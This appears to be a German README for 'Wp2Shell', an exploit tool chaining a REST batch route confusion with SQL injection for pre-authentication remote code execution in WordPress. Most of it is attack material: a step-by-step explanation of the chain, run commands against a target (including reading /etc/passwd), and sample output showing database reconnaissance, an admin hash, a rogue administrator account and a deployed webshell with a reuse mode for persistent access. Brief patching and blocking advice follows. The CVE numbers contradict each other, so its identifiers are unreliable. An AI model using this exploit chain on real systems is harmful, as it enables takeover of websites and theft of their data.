
Exploit POC for Wp2Shell, CVE-2026-63030 + CVE-2026-63137
Vorauthentifizierungs-Remote-Code-Ausführung im WordPress Core.
CVE-2026-60137 (SQL-Injection in WP_Query) verkettet mit CVE-2026-63030 (REST-API-Batch-Routen-Verwirrung).
Nur für Bildungszwecke und autorisierte Sicherheitsforschung.
WordPress 6.9.0 bis 6.9.4 und 7.0.0 bis 7.0.1 sind verwundbar. Behoben in 6.9.5 und 7.0.2.
Der Exploit verkettet zwei Schwachstellen:
CVE-2026-63030 — Batch-Routen-Verwirrung. Der REST-API-Batch-Endpunkt unter /wp-json/batch/v1 (oder /?rest_route=/batch/v1) verarbeitet Unteranfragen in zwei Phasen: Er ordnet jeden Pfad einem Handler zu und leitet dann jede Anfrage durch ihren zugeordneten Handler. Wenn ein absichtlich fehlerhafter Pfad (///) als erste Unteranfrage eingefügt wird, speichert WordPress einen WP_Error an Index 0 des Arrays der zugeordneten Routen. Dadurch wird jede nachfolgende Handlerzuordnung um einen Index zurückverschoben. Die Dispatch-Schleife paart dann jede Anfrage mit dem falschen Handler – eine Anfrage, die gegen Schema A validiert wurde, wird von Handler B ausgeführt, wodurch die von Schema A erzwungene Parametersanitisierung umgangen wird.
CVE-2026-60137 — SQL-Injection in WP_Query. Der Posts-Collection-Endpunkt akzeptiert einen author_exclude-Parameter, dessen Schema ganzzahlige Array-Werte erzwingt und jedes Element mit absint() bereinigt, bevor es WP_Query erreicht. Die Batch-Desynchronisation führt dazu, dass dieser Parameter die Schema-Validierung vollständig umgeht und als roher String in die author__not_in-Logik von WP_Query gelangt. Da absint() nur innerhalb eines is_array()-Zweigs angewendet wird, wird der rohe String direkt in die SQL-WHERE-Klausel interpoliert, was eine UNION SELECT-Injektion ermöglicht.
Die vollständige Kette verläuft in vier Schritten:
UNION SELECT-Zeilen, die in der REST-JSON-Antwort reflektiert werden.wp_posts-Zeilen, die den oEmbed-Cache vergiften und den Changeset-Veröffentlichungs-Hook von WP_Customize_Manager auslösen, der wp_insert_user() mit role=administrator aufruft.git clone https://github.com/YOUR_USERNAME/Wp2Shell.git
cd Wp2Shell
Keine pip-Installation erforderlich.
Führt alle vier Schritte aus: Desynchronisationsbestätigung, SQL-Aufklärung, Erstellung eines Administrators und Bereitstellung einer Webshell. Bei jedem Durchlauf werden ein neues Administratorkonto und ein neues Plugin erstellt.
python3 exploit.py --url http://TARGET --command "id"
python3 exploit.py --url http://TARGET --command "uname -a"
python3 exploit.py --url http://TARGET --command "cat /etc/passwd"
Gegen ein HTTPS-Ziel mit einem selbstsignierten Zertifikat:
python3 exploit.py --url https://TARGET --command "id" --insecure
Nach Abschluss eines vollständigen Kettenlaufs gibt das Skript einen sofort verwendbaren Wiederverwendungsbefehl mit den bereitgestellten Anmeldeinformationen und dem Shell-Pfad aus. Übergeben Sie diese drei Flags bei nachfolgenden Läufen, um die SQL- und Admin-Erstellungsphasen komplett zu überspringen:
python3 exploit.py \
--url http://TARGET \
--command "whoami" \
--admin-user wp2_poc_da4d1cf83acb \
--admin-password "Wp2!J47LBKLEbu4ebAJo" \
--prev-webshell-plugin /wp-content/plugins/wp2shell_6c6f62a8/wp2shell_6c6f62a8.php
usage: exploit.py [-h] [--url URL] [--command CMD] [--insecure]
[--admin-user USER] [--admin-password PASS]
[--prev-webshell-plugin PATH]
Die drei --admin-* / --prev-webshell-plugin-Flags müssen entweder alle zusammen oder gar nicht angegeben werden.
+======================================================================+
| wp2shell -- Pre-Auth RCE PoC (Educational / Research) |
| CVE-2026-60137 (SQLi) + CVE-2026-63030 (Batch Route Confusion) |
+======================================================================+
Target : http://localhost:8080
Command: uname -a
Mode : FULL CHAIN
[STEP 1] Verifying batch endpoint + route-confusion desync
[+] Batch endpoint reachable (HTTP 207)
[+] Route-confusion desync confirmed (markers: block_cannot_read, parse_path_failed, rest_batch_not_allowed)
[STEP 2] UNION SQLi -- database reconnaissance
[+] Database version : 10.11.18-MariaDB-ubu2204
[+] Database user : wpuser@%
[+] Database name : wordpress
[+] Table prefix : wp_
[+] Admin login : admin
[+] Admin hash (phpass) : $wp$2y$10$BSAr2Yyk/...
[+] Admin user ID : 1
[STEP 3] Creating a fresh administrator via oEmbed post-cache poisoning
[*] Seeding oEmbed cache with 3 loopback URLs...
[+] oEmbed cache IDs: [96, 97, 98]
[*] Submitting changeset poison + user creation...
[+] Admin created -- username: wp2_poc_da4d1cf83acb password: Wp2!J47LBKLEbu4ebAJo
[STEP 4] Authenticating + deploying webshell -- running: uname -a
[*] Logging in to wp-admin...
[+] Logged in as administrator
[*] Uploading webshell plugin (slug: wp2shell_6c6f62a8)...
[+] Plugin uploaded
[*] Activating plugin...
[+] Plugin activated
[*] Executing: uname -a
============================================================
COMMAND OUTPUT -- uname -a
============================================================
Linux target 7.0.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC x86_64 GNU/Linux
============================================================
[+] RCE confirmed -- Pre-Auth exploit chain complete
+-- RE-USE HINT ------------------------------------------+
| Skip the full chain next time -- pass these flags: |
+-----------------------------------------------------------+
python3 exploit.py \
--url http://localhost:8080 \
--command 'YOUR_COMMAND' \
--admin-user wp2_poc_da4d1cf83acb \
--admin-password 'Wp2!J47LBKLEbu4ebAJo' \
--prev-webshell-plugin /wp-content/plugins/wp2shell_6c6f62a8/wp2shell_6c6f62a8.php
Aktualisieren Sie sofort auf eine behobene Version.
wp core updatewp core update --version=6.9.5wp core update --version=6.8.6Falls ein sofortiges Patchen nicht möglich ist, blockieren Sie beide URL-Formen des Batch-Endpunkts auf dem Webserver oder der WAF-Ebene. Beide Routen müssen blockiert werden — eine Regel, die nur die hübsche Permalink-Form abdeckt, lässt die Abfragezeichenfolgen-Form offen:
# Nginx
location ~* "^/wp-json/batch" { return 403; }
location ~* "rest_route=/batch" { return 403; }
# Apache
RewriteRule ^wp-json/batch - [F,L]
RewriteCond %{QUERY_STRING} rest_route=/batch [NC]
RewriteRule ^ - [F,L]
Oder deaktivieren Sie den Endpunkt innerhalb von WordPress mithilfe eines Must-Use-Plugins:
<?php
// wp-content/mu-plugins/disable-batch.php
add_filter( 'rest_batch_enabled', '__return_false' );
Behandeln Sie alle Vor-Patch-Maßnahmen nur als temporäre Brücken. Wenden Sie den Patch so schnell wie möglich an und überprüfen Sie anschließend die installierte Version auf jeder internetzugänglichen Instanz.
Dieses Tool wird nur zu Bildungszwecken und für autorisierte Penetrationstests bereitgestellt. Es ist illegal, es gegen ein System ohne ausdrückliche vorherige schriftliche Genehmigung des Systembesitzers auszuführen. Die Autoren übernehmen keine Haftung für Missbrauch.
| Flag | Short | Beschreibung |
|---|
--url | -u | Ziel-WordPress-Basis-URL. Standard: http://localhost:8080 |
--command | -c | OS-Befehl zur Ausführung. Standard: id |
--insecure | -k | Deaktivieren der TLS-Zertifikatsprüfung für selbstsignierte Zertifikate |
--admin-user | Wiederverwendungsmodus: zuvor erstellter Administratorkontoname | |
--admin-password | Wiederverwendungsmodus: zuvor erstelltes Administratorkontopasswort | |
--prev-webshell-plugin | Wiederverwendungsmodus: Webpfad zum bereits bereitgestellten Webshell-Plugin |